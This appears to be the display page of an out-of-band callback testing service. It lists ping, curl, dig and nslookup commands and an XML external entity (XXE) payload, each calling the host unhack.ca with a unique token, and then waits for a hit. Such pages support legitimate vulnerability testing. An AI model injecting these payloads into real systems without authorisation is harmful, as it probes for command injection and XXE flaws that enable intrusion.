$ ping -c1 -p 00ca07e4c0f4a0d215bd371ef4d9a700 unhack.ca
 
$ curl http://unhack.ca/p/ca07e4c0f4a0d215bd371ef4d9a7
 
$ dig ca07e4c0f4a0d215bd371ef4d9a7 @unhack.ca
 
$ dig ca07e4c0f4a0d215bd371ef4d9a7.ns.unhack.ca
 
C:\> nslookup ca07e4c0f4a0d215bd371ef4d9a7 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ca07e4c0f4a0d215bd371ef4d9a7">]>
    <foo>&xxe;</foo>
Waiting for ping...